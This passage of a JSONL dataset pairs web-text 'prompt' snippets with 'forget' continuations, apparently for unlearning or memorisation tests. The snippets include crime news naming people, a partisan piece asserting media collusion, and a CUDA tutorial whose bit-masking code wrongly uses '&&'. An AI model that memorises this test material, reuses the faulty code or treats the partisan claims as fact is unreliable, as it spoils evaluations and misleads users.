functional reason why something has to move at a different speed. Paul: Right, so the obvious one apart from those two is that it makes logical sense as a dependency for the API. This is a good API boundary for all the things that rely on it."}
{"prompt": "An Oklahoma high-school teacher charged with raping her 17-year-student is getting no jail time, leaving the parents of her victim stunned and outraged. Erin Kathleen Queen of Sand Springs, Okla., was arrested March 17, 2012, after she was found at the Candlewood Suites hotel in Tulsa with the teen son of Shasta and Adam Belty. Queen was a 27-year-old English teacher at Charles Page High School at the time. Although Queen was originally charged with second-degree rape and contributing to the delinquency of a minor for supplying the boy with vodka, the case was dismissed this month when Queen pleaded", "forget": "guilty to a different felony count of contributing to the delinquency of a minor. She received three years of probation, was fined $600 and ordered to surrender her teacher\u2019s license. Read the WND story that started it all! The big list: Female teachers with students According to Title 21, Section 1115 of the Oklahoma Statutes, sex may be considered rape if \u201c\u2026 the victim is at least sixteen (16) years of age and is less than eighteen (18) years of age and is a student, or under the legal custody or supervision of any public or private elementary or secondary school, junior high or high school, or public vocational school, and engages in sexual intercourse with a person who is eighteen (18) years of age or older and is an employee of the same school system.\u201d On March 21, Tulsa County District Judge William Kellough gave Queen a three-year suspended sentence with no prison time and no community service hours. The outcome has the teen\u2019s parents livid. \u201cI think it\u2019s crap,\u201d Adam Belty told the Tulsa World. \u201cShould it be rape? No. Should she be charged with a sexual count for something? Yes, but the way (it) was explained, there\u2019s no count (less than) second-degree rape that they can charge her with.\u201d \u201cIt\u2019s very frustrating to us that she basically got a slap on the wrist,\u201d said the boy\u2019s mother, Shasta Belty. \u201cI cussed. I cried. I totally disagreed with it. (Assistant District Attorney Amanda Self) was under the impression that we were OK with a conviction as long as (Queen) never taught again. Well, we were OK with a conviction of the second-degree rape \u2026 or something that represents the sexual misconduct.\u201d The paper reports: \u201cWithin hours of Queen\u2019s arrest, it seemed to the Beltys that the whole town"}
{"prompt": "The DNI report was more about slamming RT (Russia Today) propaganda than it was about proving the Russians hacked. The report doesn\u2019t put much emphasis on Russians hacking elections, it focuses on Russians \u201cinfluencing\u201d them. What they ignore is the US media propaganda influencing elections. As you read this, keep in mind that no intelligence report refutes the content of the email leaks. Also note that since the first leak, our media has sought to cover up, ignore, and denigrate the findings. In these emails, you will find the American media operates as an arm of the Democrat Party. Wikileaks\u2019", "forget": "releases prove America\u2019s trusted institutions and the media are lackeys of the left. Nearly 400 Newsmakers Received 80 Sets of Clinton Talking Points Email #5636 from donor-advisor Mary Pat Bonner to John Podesta shows the Hillary Clinton campaign worked with at least 372 news makers to shape an anti-Trump narrative across all mainstream media. Bonner is the link between Team Clinton and CTR. The pro-Hillary SuperPAC, Correct the Record (CTR) \u201chas identified 372 surrogates including influential and frequent pundits on broadcast and cable news for Presidential 2016 politics and provided them around 80 sets of talking points.\u201d CTR Controlled the Media CTR\u2019s website explains their goal is to amplify Clinton\u2019s \u201caccomplishments\u201d, smear Trump, and peddle phony narratives. One of those talking points was and is, \u201cRussia is interfering in our elections to help Trump.\u201d Consider all of this as you look at the documentation showing hundreds of media members using pro-Hillary talking points obtained from CTR. Those documents can be accessed here. Some of the findings: The collusion included media relations. There were 900 interviews to counter-punch Republicans and kill negative stories before publication. Team Clinton provided the nearly 400 media surrogates with 80 sets of talking points. CTR hosted 24 media training sessions across the country for 200 surrogates. Correct The Record also distributed media advisories to 960 members of the national media and 10,756 regional reporters in 28 states. Talking points and memos are also distributed regularly to 369 televisions producers and bookers. Media Told Americans Not to Read Wikileaks Emails The media desperately attempted to keep Americans from reading the emails by claiming it was illegal to read them, if not immoral. Sound advice on @wikileaks, from the #FakeNews. I\u2019d be interested to hear Chris Cuomo\u2019s legal theory that he can see this info but we can\u2019t."}
{"prompt": "When Kalimah Priforce was eight years old and in foster care, he got more books the only way he could. He went on a hunger strike. \u2013 RSVP for #StopRacism Weekly Calls \u2013 Every great story has its miracles. A few weeks before reaching nine years of age, impossible became a daily part of my life as a foster care resident of a Bedford Stuyvesant group home\u2013deep in the heart of Brooklyn. It belonged to the very powerful Central Brooklyn Coordinating Council (CBCC) of New York City. There weren\u2019t many leisure activities other than a single television that most of", "forget": "the kids fought regularly over. Residents weren\u2019t allowed to leave the premises except to attend school, group trips escorted by staff members, or chauffeured around in vans to fulfill medical appointments. Rather than engaging in squabbles with other kids about which shows to watch (Yo MTV Raps was very popular then), I monopolized a small library of donated books to satisfy my insatiable curiosity about the world. Don\u2019t like ads? Become a supporter and enjoy The Good Men Project ad free I read every book, many of them twice. As a result, I approached one of the group home staffers and kindly requested that they order more books to expand the library in a, \u201cPlease sir, can I read some more?\u201d Dickensian way. \u2666\u25ca\u2666 I was the first to make such an odd request, so they ignored me at first, but I was persistent. Several hours later, I got my answer that it was \u201cimpossible\u201d and that there simply \u201cwasn\u2019t enough funding for more books.\u201d I wasn\u2019t convinced, and it didn\u2019t help them that I had just finished reading the stories of Peter Pan, Encyclopedia Brown, Huckleberry Finn, The Little Prince, Pippi Longstocking, and other precocious youth. I wanted more books, and even tried negotiating with them. I was already a vegetarian by the time I arrived to the group home, and my dinner selections consisted mostly of salads and breads. I calculated that for every meatloaf or chicken sandwich I didn\u2019t eat, that the agency was saving a dollar or two per day. My suggestion to them was that they use the money they were saving to purchase of books. They angrily declined and forcefully stated that it couldn\u2019t be done. Since all my neogotiaitons failed. it was then that I decided, at eight, that if they couldn\u2019t feed"}
{"prompt": "Even though the Big 12 might not be the most stable conference among the major ones in College Football, there are powers trying to push for an expansion to big TV markets, with Central Florida and Cincinnati the likeliest of candidates. A lot of the future plans for the Big 12 becoming bigger than 10 teams have to do with the identity of the next Texas Athletic Director, as Oliver Luck, the Director of Intercollegiate Athletes at West Virginia, is one of the premier candidates, having engineered the Mountaineers departure from the Big East (now the AAC) and procured money", "forget": "for a new baseball stadium. But it\u2019s not just Luck that\u2019s pushing for more teams. In the reality that\u2019s been formed over the last few years, it seems like it\u2019s been a lot of eat or get eaten. The Big 12 lost Texas A&M and Missouri to the SEC, Nebraska to the Big Ten and Colorado to the Pac-12. For a moment there, Texas and Oklahoma were on the verge of forming a Pac-16 and breaking the Big 12 apart. The Big 12, however, brought in TCU and West Virginia, keeping it a 10-team conference, with better money sharing for current members. Rumors coming out of several media outlets including in West Virginia suggest that Fox Sports is behind the power moves by the Big 12 to attempt and expand, especially keeping an eye on Florida and the Midwest. There were previous talks about Florida State, which would be somewhat of an earthquake for the ACC, but that\u2019s off the table for now. So who is there to take? The University of Central Florida, playing in the AAC, is having a strong season, but most importantly, they reside in a big TV market, not to mention being a part of the desired recruiting fields in Florida. TV money is important, but having a chance to tap in to the gold mine that is Florida high school football is also something Big 12 teams would clearly be in favor for. But if you\u2019re adding an 11th team, there needs to be a 12th, right? South Florida, a more established football program than FIU or Florida Atlantic has come up as a candidate a couple of times, but is it really wise to recruit two teams from the same state? That brings us to Cincinnati, who seem like they\u2019re just waiting for"}
{"prompt": "Organ designers, chief drone experience designers, cybernetic director. Those are some of the fanciful new roles that could be created by the global design industry in the next few years. advertisement advertisement But what about current design roles? How will they favor over the next 15 years? Will every company by 2030 have a chief design officer, or will they all go extinct? Should a generation of creatives who grew up worshipping Apple\u2019s Jonathan Ive put all their eggs in the industrial design basket? We talked to a dozen design leaders and thinkers from companies such as Frog, Artefact, and", "forget": "Ideo to find out which design jobs could die out in the next 15 years, and which could grow. There\u2019s no empirical evidence behind these picks, so they shouldn\u2019t be taken too seriously. Still, they represent the informed opinions of people who get paid to think about the future. Design Jobs That Will Die UX Designers User experience designers are among the most in-demand designers working today. So how could their jobs disappear? According to Teague designers Clint Rule, Eric Lawrence, Matt McElvogue, \u201cUX design\u201d has become too broad and muddled. \u201cThe design community has played fast and loose with the title \u2018UX designer,'\u201d they write in an email. \u201cFrom job posting to job posting and year to year, it jumps between disparate responsibilities, tools, and disciplines. Presently it seems to have settled on the title representing democratized design skills that produce friendly GUIs.\u201d In the future, they predict that UX design will divide into more specialized fields. \u201cThe expanding domain of user experience and its myriad disciplines will push the title \u2018UX designer\u2019 to a breaking point, unbundling its responsibilities to the appropriate specialists,\u201d they say. Visual Designers Visual designers are the ones responsible for the way an app looks. UX designers, meanwhile, are the ones who concentrate on how it feels. A lot of times, designers do both, but going forward, jobs that require just visual design skills are going to die out. That\u2019s according to Charles Fulford, Executive Creative Director of Elephant, the San Francisco-based, Apple-centric stealth arm of the digital agency Huge. \u201cGone are the days of UX dumping a ton of wireframes on visual designers,\u201d he says, as well as \u201cthe days of visual designers being clueless about usability.\u201d What are needed instead are designers who can not only come up with the look of"}
{"prompt": "0. List of contents 1. Requirements Basic knowledge about C programming CUDA supported device (CUDA GPU list) Installed CUDA SDK Eclipse/nvidia nsight (nsight recommended) 2. Goal The aim of this article is to get acquainted with bilinear interpolation technique and implement demo program which is going to scale given input image using nvidia CUDA SDK. The concept of interpolation is not explained here. 3. Optimus (hybrid graphics card) What if I have CUDA compatibile device as a secondary graphics card (optimus)? First of all (if you haven\u2019t done it yet) install Bumblebee deamon. It\u2019s available on many popular distros, for", "forget": "instance: # Archlinux pacman -S bumblebee # Ubuntu 12.04 sudo add-apt-repository ppa:bumblebee/stable sudo apt-get update sudo apt-get install bumblebee virtualgl linux-headers-generic After reboot perform: sudo tee /proc/acpi/bbswitch < <<ON modprobe nvidia Turned on nvidia device will shorten your baterry life \ud83d\ude42 Be aware of that and plug in. 4. Bit operations in brief Let\u2019s consider the situation that we have ARGB pixel located in memory and we want to get out the blue channel. How to do that? // Declare ARGB variable Uint32 color = 0xffd5b2c4; Ok! What is that 0xff\u2026.??? This is a ARGB color written in hexadecimal form. Hmm\u2026 So how to read this? /* Each of channels (alpha, red, green, blue) has value from 0 to 255. 1 byte is sufficeient to store the number, so on one octet (8 bits) you can write one channel. After decomposition: */ Uint8 a = 0xff; // 255 Uint8 r = 0xd5; // 213 Uint8 g = 0xb2; // 178 Uint8 b = 0xc4; // 196 /* How many bits do we need to store all four channels? 4*8 = 32 bits. Now it's perfectly clear the idea of Uint32 \"color\" variable. */ Let\u2019s pull out channels from \u201ccolor\u201d variable printf(\"Blue: 0x%02x\", (color && 0xff)); printf(\"Green: 0x%02x\", ((color >> 8) && 0xff)); printf(\"Red: 0x%02x\", ((color >> 16) && 0xff)); printf(\"Alpha: 0x%02x\", ((color >> 24) && 0xff)); \u201c&& 0xff\u201d is a binary AND mask which extracts only last 2 octets. 5. Simple DirectMedia Layer (SDL) We\u2019re gonna use SDL to read/write image from/to file. SDL is natively written in C, so I\u2019m convinced that is good choice. In order to have SDL working, give linker a clue where to look for libs # Library search path -L /usr/lib/ # Library -l SDL -l SDL_image 6. Read image With the knowlege about"}
{"prompt": "History has not been kind to the legacy of William Graham Sumner. In his time (1840-1910), Sumner was one of the most prestigious and widely read libertarian intellectuals in the United States. Beyond his more technical academic work Sumner also wrote passionately and voluminously in defense of laissez faireon a wide range of social issues. His popular critique of protectionism, \"The \u2013ism Which Teaches that Waste Makes Wealth\" (1885) and his denunciation of imperialism in \"The Conquest of the United States by Spain\" (1898) are two of his most impressive polemical works. Sumner's most sustained investigation of questions of economic", "forget": "policy and distributive justice appeared in a collection essays What Social Classes Owe to Each Other (1883) which includes his most famous single essay \u2013 \"The Forgotten Man\" (1884). Unfortunately, Sumner's intellectual legacy suffered essentially the same fate as that of his contemporary Herbert Spencer, and for much the same reason. From near-ubiquity and respectability, Sumner's ideas have descended into obscurity and disrepute. To the extent he is remembered at all today, it is mostly for his alleged \"social Darwinism.\" In this essayMatt Zwolinski, professor of philosophy at the University of San Diego, examines the charge of social Darwinism, and, more generally, the nature of Sumner's views on redistribution and our responsibilities toward the poor and vulnerable, and concludes that the charge of social Darwinism is mistaken as applied to Sumner, who is a principled libertarian, not a social Darwinist. Moreover, he is a libertarian who took special pains to demonstrate the ways in which a regime of liberty is especially beneficial to society's most vulnerable members. Matt is joined in the dicussion by Phillip W. Magness, a historian based in the Washington, D.C. region, Robert Leroux, professor of sociology at the University of Ottawa, Fabio Rojas, professor of sociology at Indiana University, and David M. Hart, the Director of the Online Library of Liberty Project. See the Archive of \"Liberty Matters\". \"LIBERTY MATTERS\" A FORUM FOR THE DISCUSSION OF MATTERS PERTAINING TO LIBERTY Liberty Matters No. 29: Matt Zwolinski, \"William Graham Sumner \u2013 Liberty's Forgotten Man\" (July 2017) \"Liberty Matters\" Online This online discussion is part of the series \u201cLiberty Matters: A Forum for the Discussion of Matters pertaining to Liberty.\u201d EBook versions of these discussions in PDF, ePub, and Kindle formats can be found at </titles/2516>. This discussion can be found in EBook formats at <abc>. [It will"}
{"prompt": "window._taboola = window._taboola || []; _taboola.push({ mode: 'thumbnails-c', container: 'taboola-interstitial-gallery-thumbnails-5', placement: 'Interstitial Gallery Thumbnails 5', target_type: 'mix' }); window._taboola = window._taboola || []; _taboola.push({ mode: 'thumbnails-c', container: 'taboola-interstitial-gallery-thumbnails-8', placement: 'Interstitial Gallery Thumbnails 8', target_type: 'mix' }); Image 1 of / 9 Caption Close Image 2 of 9 The second of three handguns recovered Sunday after police arrested four suspects in San Francisco's SoMa neighborhood. The second of three handguns recovered Sunday after police arrested four suspects in San Francisco's SoMa neighborhood. Image 3 of 9 The third handgun recovered Sunday after police arrested four suspects in San Francisco's SoMa neighborhood.", "forget": "The third handgun recovered Sunday after police arrested four suspects in San Francisco's SoMa neighborhood. Image 4 of 9 Lendale Warren, 21, was arrested Sunday in San Francisco's SoMa neighborhood on forgery warrants and suspicion of felony burglary. Lendale Warren, 21, was arrested Sunday in San Francisco's SoMa neighborhood on forgery warrants and suspicion of felony burglary. Image 5 of 9 Image 6 of 9 Marvin Session, 23, was arrested Sunday in San Francisco's SoMa neighborhood on suspicion of resisting arrest and weapons violations charges. Marvin Session, 23, was arrested Sunday in San Francisco's SoMa neighborhood on suspicion of resisting arrest and weapons violations charges. Image 7 of 9 Orlando Ware, 23, was arrested Sunday in San Francisco's SoMa neighborhood on suspicion of resisting arrest and weapons violations charges. Orlando Ware, 23, was arrested Sunday in San Francisco's SoMa neighborhood on suspicion of resisting arrest and weapons violations charges. Image 8 of 9 Paul Antoine, 28, was arrested Sunday in San Francisco's SoMa neighborhood on suspicion of resisting arrest and weapons violations charges. Paul Antoine, 28, was arrested Sunday in San Francisco's SoMa neighborhood on suspicion of resisting arrest and weapons violations charges. Image 9 of 9 Cops bust 4 armed suspects in SoMa neighborhood 1 / 9 Back to Gallery Officers chased down and arrested four suspects armed with handguns in San Francisco\u2019s South of Market neighborhood, police said. Around 7:30 p.m. Sunday, someone called police about several armed men near Ninth Street and Market Street. Responding officers drew their weapons as they approached four men matching the suspects\u2019 descriptions, police said. The suspects then took off running in different directions around Hallidie Plaza, but they were eventually caught and taken into custody, police said. Police arrested Orlando Ware, 23, Paul Antoine, 28, and Marvin Session, 23, on suspicion"}
{"prompt": "Make the Safe Choice - Be Aware of Your Surroundings SEPTA Expands Distracted Commuting Program with Bus Turn Alert Pilot Program View the transcript A new pilot program launched by SEPTA on Monday, March 16, 2015 will audibly warn pedestrians in the vicinity of a bus when the vehicle is making a turn. The \"Safe Turn Alert System\" pilot is an extension of the Authority's distracted commuter awareness program and designed to warn pedestrians - specifically those engrossed in their phone calls, text messages and music -that the bus is turning. \"We are seeing more cases of people unaware of", "forget": "their surroundings,\" said Scott Sauer, SEPTA's Chief Officer of System Safety. \"The Safe Turn Alert system uses an audio warning and a strobe light to make pedestrians aware that the bus is making a right- or left- hand turn. This is an added layer to our already extensive \"Make The Safe Choice\" campaign, not only geared toward our customers, but to the millions of area residents and visitors that interact with SEPTA on a daily basis.\" Protran's Safe Turn Alert Systems have been installed in 12 SEPTA buses for the pilot program. The device is connected to the bus' steering column and the \"Caution Bus Turning\" alert is triggered when the operator makes a turn. In addition to the external warnings, an announcement is made to the operator inside the bus. SEPTA's pilot program will run through October 2015. The Safe Turn Alert-equipped buses will be used on specific routes at each of SEPTA's eight bus districts, operating throughout SEPTA's five county service area. One route per week will use the buses in regular service. \"To get an accurate snapshot of the system's functionality, we chose routes where buses make many turns,\" said Sauer. SEPTA's Callowhill District will test the devices first, beginning with the Route 31 during the week of March 16-22. \"Our Operations, Training, System Safety and Vehicle Engineering and Maintenance Departments will evaluate the system throughout the pilot program,\" said Sauer. \"We will examine the volume of the alerts during turns, reactions of passengers and pedestrians to the audio and visual warnings, additional technical issues and the general upkeep of the system.\" SEPTA System Safety, Operations and Training staff will ride the buses at various times and days of the week to review the system in action and gauge public response. Operators will also complete questionnaires about"}
{"prompt": "Starting today, it appears the US military will be testing a device or devices that will potentially jam GPS signals for six hours each day. We say \u201cappears\u201d because officially the tests were announced by the FAA but are centered near the US Navy\u2019s largest installation in the Mojave Desert. And the Navy won\u2019t tell us much about what\u2019s going on. The FAA issued an advisory warning pilots on Saturday that global positioning systems (GPS) could be unreliable during six different days this month, primarily in the Southwestern United States. On June 7, 9, 21, 23, 28, and 30th the", "forget": "GPS interference testing will be taking place between 9:30am and 3:30pm Pacific time. But if you\u2019re on the ground, you probably won\u2019t notice interference. Advertisement The testing will be centered on China Lake, California\u2014home to the Navy\u2019s 1.1 million acre Naval Air Weapons Center in the Mojave Desert. The potentially lost signals will stretch hundreds of miles in each direction and will affect various types of GPS, reaching the furthest at higher altitudes. But the jamming will only affect aircraft above 50 feet. As you can see from the FAA map below, the jamming will almost reach the California-Oregon border at 4o,000 feet above sea level and 505 nautical miles at its greatest range. I gave the Naval Air Warfare Center Weapons Division a call yesterday, but they couldn\u2019t tell me much. Advertisement \u201cWe\u2019re aware of the flight advisory,\u201d Deidre Patin, Public Affairs specialist for Naval Air Warfare Center Weapons Division told me over the phone. But she couldn\u2019t give me any details about whether there was indeed GPS \u201cjamming,\u201d nor whether it had happened before. Patin added, \u201cI can\u2019t go into the details of the testing, it\u2019s general testing for our ranges.\u201d As AVWeb points out, Embraer Phenom 300 business jets are being told to avoid the area completely during the tests. The FAA claims that the jamming test could interfere with the business jet\u2019s \u201caircraft flight stability controls.\u201d GPS technology has become so ubiquitous that cheap jamming technology has become a real concern for both military and civilian aircraft. And if we had to speculate we\u2019d say that these tests are probably pulling double duty for both offensive and defensive military capabilities. But honestly, that\u2019s just a guess. Advertisement These tests are naturally going to fuel plenty of conspiracy theories about mind control, weather modification, and aliens\u2014especially with"}
{"prompt": "A referendum on independence for Iraqi Kurdistan set for September 25 c omes as the autonomous region faces the worst economic crisis in its short history. Plunging government income, the challenge of fighting the Islamic State group and the cost of hosting hundreds of thousands of refugees have combined to punch a gaping hole in the Kurdistan Regional Government's budget. \"The KRG's coffers are empty and it's burdened with debts,\" Ruba Husari, an expert on Iraq's oil industry, told AFP. The World Bank said in a recent report that the fiscal crisis and the security challenge posed by IS \"have", "forget": "had a significant adverse impact on economic growth\". The region has benefitted from an influx of investment since the 2003 fall of dictator Saddam Hussein in a US-led invasion. It won a measure of autonomy in the 2005 Iraqi constitution and has been seen as an island of stability in a country plunged into anarchy. Iraqi Kurds take part in an event to urge people to vote in the upcoming independence referendum in Arbil, the capital of the autonomous Kurdish region of northern Iraq, on September 16, 2017 (photo by: SAFIN HAMED/AFP) The drowsy regional capital Arbil was transformed as investors built towers, plush buildings, shopping malls and hotels to host foreign executives on business trips. All that collapsed in 2014 as the price of oil plunged, IS jihadists seized a tranche of northern Iraq abutting the KRG and more than a million displaced Iraqis and Syrian refugees fled to the autonomous region. That was compounded by Baghdad's decision to suspend payments to the KRG of 17 percent of Iraq's national budget. The transfers, worth some $12 billion (10 billion euros), made up 80 percent of the region's budget revenues. Wages, including those of peshmerga fighters, were slashed. \"The fiscal shock is severe,\" the World Bank said. It said the regional government has dealt with the cut in revenues by borrowing money, postponing projects, and delaying payments -- including the salaries of government employees. 'Dire economic situation' The combination of crises slashed GDP growth from eight percent in 2013 to three percent in 2014, the World Bank said in 2015. A senior KRG official said that by the end of that year, public servants' salaries had been cut by 60 percent. A building riddled with bullet holes is seen in the mainly Kurdish Iraqi city of Kirkuk on September 18,"}
{"prompt": "Share. Naughty Dog delivers a stellar sequel that impresses from start to finish, and that doesn't even include the multiplayer. Naughty Dog delivers a stellar sequel that impresses from start to finish, and that doesn't even include the multiplayer. More than any other game to date, Uncharted: Drake's Fortune seems to define the PlayStation 3. Naughty Dog's 2007 jungle romp starring the one and only Nathan Drake gave gamers a taste of what it would be like to play as an acrobatically-inclined Indiana Jones. With stunning visuals (that still rank amongst the best in gaming today), a fantastically told story,", "forget": "great puzzles and high-octane gunplay, it's easily one of the best titles of this console generation. Now Naughty Dog returns to the spotlight with Uncharted 2: Among Thieves. Both expectedly and amazingly, Naughty Dog has indeed bested Nate's first adventure and has created a sequel that is not only bigger and better in practically every way, but also packs a multiplayer component that could be released as its own separate, full-priced game and people would stand in line to hand over their cash. Yes, Uncharted 2: Among Thieves is fantastic. Click the image to watch our in-depth video review. Trying to remain as spoiler-free as possible, I'll just say that the story starts off about a year or so after the events of the first game and begins with Nate and a few fellow thieves working on finding Marco Polo's lost treasure fleet. Of course, things aren't quite that simple and the cast winds up going on a much grander adventure, one that takes them half-way around the world. That's about as far as I want to go with the storyline, though some of the trailers out there actually reveal a little more than that. The important part here though is that this game doesn't just take place on a single island and instead changes locales a handful of times over the course of the adventure. The result is that the pacing feels better and faster, and even though you're technically doing the same sort of shooting, climbing and puzzle solving throughout the game, the different ways the scenes are presented gives Among Thieves a greater sense of gameplay variety than the original. The great storytelling extends to the character development, which has been turned up a good notch or two. Almost everyone with more than two lines of dialogue"}
{"prompt": "In the spirit of Valentine\u2019s Day, Donald Trump handed Justin Trudeau the rose he coveted on Monday in Washington. Like all roses, it comes with thorns. Only time will tell whether those thorns matter more than the flower itself. Until then, the first face-to-face meeting between the prime minister and his new counterpart in the White House can be said to have gone about as well as could be expected. That\u2019s not just because the two did not wrestle each other to the ground over the course of not one but two handshakes. Confronted with the contradictions in their approaches", "forget": "Monday, the two leaders observed a tacit pact of non-aggression, writes Chantal H\ufffdbert. ( MANDEL NGAN / AFP/GETTY IMAGES ) Trudeau got what he most wanted in the shape of a statement straight from the horse\u2019s mouth that when it comes to improving the American economy, Trump mostly sees trade with Canada as part of the solution. If the intense federal lobbying of the past few weeks has been about anything, it has been about driving home the point that on trade, the United States and Canada benefit from being under a common umbrella. That could be important if and when NAFTA comes up for renegotiation as it could frame the U.S. outlook on the talks on less adversarial lines than many in Canada feared. Article Continued Below Canadians with long memories might reflect on the irony that in another era, under a prime minister of the same last name, the interdependence of the two economies tended to be portrayed as an existential problem. Now it is an ideal to preserve and protect with all the means at the disposal of a federal government. By a twist of electoral fate, Trudeau has become the keeper of Brian Mulroney\u2019s free-trade legacy. But at what cost down the road? Since Trump\u2019s inauguration, the prime minister had strived to not let obviously deep differences on immigration and refugee policy poison the Canada-U.S. trade well. That was always going to be easier to accomplish at a distance than in the physical proximity of a joint news conference. Confronted with the contradictions in their approaches Monday, the two leaders observed a tacit pact of non-aggression. Trudeau stuck to his guns on the notion that Syrian refugees are not by definition a security risk without sticking those guns overtly in the face of the president. Even"}
{"prompt": "Our society is obsessed with labels. While they are often crude, stereotypical and used to divide individuals from a group, they are integral in our society. The nice things about labels, however, is that we decide what they mean. We can choose how to label ourselves to include ourselves in a group of like-minded people. Outsiders to that group may not like the label, and may even disagree on what the label actually means, but what really matter is what members of that group consider to be their values. I have made some changes in my life that have made", "forget": "me rethink the groups I am associated with and helped me define the kinds of labels that should define me. I made these decisions a couple of years ago, but was closed about it in public because I was unsure of my personal beliefs. I have had time to decide what it is that I do believe and with which groups and labels I wish to associate myself. Now that I know what I believe and how I want to be known I am coming out and labeling myself publicly for the first time. There are three labels that I have decided to associate myself with. I will list the labels that I have chosen, the reasons I have chosen them and most importantly, what that label means to me. As I said before, others outside these groups may consider these labels differently, so I will explain what that means from my perspective. Firstly, I am an atheist. As an atheist I do not believe in a God or Gods. I do not believe in Zeus, Thor, Apollo, Ra, Jesus or God the Father. I do not believe that there is a being who is watching over me, blessing me or judging my behavior. I also do not believe that the universe was created by a consciousness. That is all that being an atheist means. It doesn\u2019t mean that I am a devil worshiper. It doesn\u2019t mean that I immoral. It doesn\u2019t mean that I eat babies. All it means is that I do not believe in any form of a God or Gods. Second, I am a materialist. A materialist sees reality as the physical matter of which is it composed. Thought, feelings and will can all be defined in terms of matter and physical phenomena. I am a"}
{"prompt": "\"I, Eddard of the House Stark, Lord of Winterfell and Warden of the North, sentence you to die.\" \u2015Eddard Stark to Will [src] Warden is a title bestowed upon the head of a Great House by the ruler of the Seven Kingdoms. The Wardens command the armies of one of the constituent regions of the Seven Kingdoms in the name of Iron Throne for the defense of the entire realm. The Warden of a constituency is expected to lawfully command a quarter of all armies in the realm during a time of crisis. By custom, the title is functionally hereditary.", "forget": "However, a Warden does not necessarily have to also be one of the Lords Paramount (rulers of the constituent regions of the realm) though this is almost always the case. For example, if an elderly or infirm ruler came to be the head of one of the Great Houses listed below, the office of Warden might be delegated to another family member young and capable enough to lead armies in the field. Likewise, if the head of one of the Great Houses listed below was too young, the office of Warden may be delegated to an older and more experienced individual. Warden appears to be a title holding higher rank than that of \"Lord Paramount.\" The Lords of the Stormlands and Lords of the Riverlands do not hold the title of Warden over their regions but instead submit to the Warden of their area. The Prince of Dorne is not a Warden, but has full control over their armies so it can be presumed that the Prince has the same military authority of a Warden in Dorne. Littlefinger implies that a woman appointed to the title would be properly known as a \"Wardeness\". Currently, the Wardens of the West and South have died and have yet to be officially replaced. Current Wardens of the Seven Kingdoms In the books Typically, the Warden of the North defends against wildling attacks that come south of the Wall. The Warden of the West, from House Lannister, defends against coastal raids from the Iron Islands. House Greyjoy were not chosen to be Wardens, because more often than not, they are what the Warden of the West is defending against. Even though they submitted to the Iron Throne, illicit ironborn raiding would occur from time to time and would have to be suppressed. The Warden"}
{"prompt": "Commission seeks to block child porn websites Proposal also calls for mandatory sentences for human traffickers. The European Commission has proposed that websites containing child pornography should be blocked across the European Union and that maximum sentences of five to ten years should be imposed on human traffickers. The measures are part of a legislative package to combat human trafficking and the sexual exploitation of children announced by Cecilia Malmstr\u00f6m, the European commissioner for home affairs, in Brussels today (29 March). Malmstr\u00f6m also announced that the Commission will appoint an anti-trafficking co-ordinator \u201cvery soon\u201d. Blocking websites is controversial among the", "forget": "member states, whose endorsement, together with that of the European Parliament, is needed for the two directives to take effect. Officials expect fierce disagreements among member states and MEPs as they debate the draft directives, which are likely to be watered down in the process. However, under the Lisbon treaty individual member states can no longer block legislation in the field of justice and home affairs. Malmstr\u00f6m said that she would now work with MEPs and member states to impress on them that acting on these \u201cheinous crimes\u201d was imperative. She said that both Spain and Belgium \u2013 the current and next holder of the EU\u2019s rotating presidency \u2013 were \u201ceager\u201d to move on the matter. She said that the power to block access to websites would be limited to child pornography and would not be used to block other content. \u201cChild pornography is not about freedom of expression,\u201d she said. Jan Philipp Albrecht, a German Green MEP, has called on the Commission and the Council of Ministers to \u201cabandon their plans for an EU internet censorship directive\u201d. \u201cFiltering certain content on the web is counter-productive for the real take-down of illegal websites and constitutes a threat to liberal democracy,\u201d he said. \u201cThere is a slippery slope from filtering child abuse and other illegal websites to filtering unwanted or politically unfavourable content.\u201d Malmstr\u00f6m said that blocking websites was not a \u201csubstitute for removing content\u201d but a pragmatic measure to prevent people from seeing it. She pointed out that the Scandinavian countries, the UK and Italy already had similar measures in place. \u201cIt works in practice,\u201d she said. The proposals would leave it up to member states to determine the exact methods with which to block access but would set up legal safeguards to ensure that they were effectively blocked. The"}
{"prompt": "Years from the next presidential election and more than 14 months removed from the 2018 midterms, liberals and leftists are locked in battle over which Democratic candidates\u2014if any\u2014deserve their support. Everyone involved in this debate is opposed to Donald Trump and the Republican Party; everyone favors far more progressive policies than this administration's. One question is whether leftist critiques of black politicians like Kamala Harris and Cory Booker are a cover for prejudice\u2014or at least disregard for people of color. That argument turned especially bitter last week, with major Democratic figures accusing the left of singling out Harris in particular", "forget": "because of her race and leftists arguing that their concerns were about policy. Writ large, this can be seen as a struggle between the Bernie Sanders and Hillary Clinton wings of the Democratic Party: the former emphasizing economic redistribution, the latter speaking more specifically to injustices faced by black people, women, immigrants, and others marginalized under Trump, without emphasizing the basic distribution of wealth. The centrist critiques of the left as white- and male-dominated stretch back years; today, leftist arguments against prominent Democrats of color are often painted as thinly veiled bigotry. The central charge is that socialism reflects the worldviews of white men at the expense of women, people of color, immigrants, and queer communities: hence pejoratives like \"Bernie Bro\" and \"alt-left.\" But the American left's organizing, scholarship, and activism on the ground has historically been led by women and people of color. For more than a century, the \"radical left\" banner has signified socialism\u2014but it's also meant radical women's movements, queer political action, and black liberation. To explore the intersections of race, gender, and the left, I asked four leftists of color\u2014organizers, activists, and elected officials\u2014about their work and what it had taught them. Here's what they told me: Mariame Kaba Mariame Kaba is a New York City\u2013based organizer and educator. Her work focuses on ending violence, dismantling the prison industrial complex, transformative justice, and supporting youth leadership development. This is a white supremacist, racist, patriarchal, transphobic country. In that context, everything that exists in the world is seen in its center as a white, male, cisgender, straight narrative. Everything gets processed through that idea. It's not surprising to me that when people talk about the left, they're talking about white men who are straight. And I don't see myself as someone who feels like they need to"}
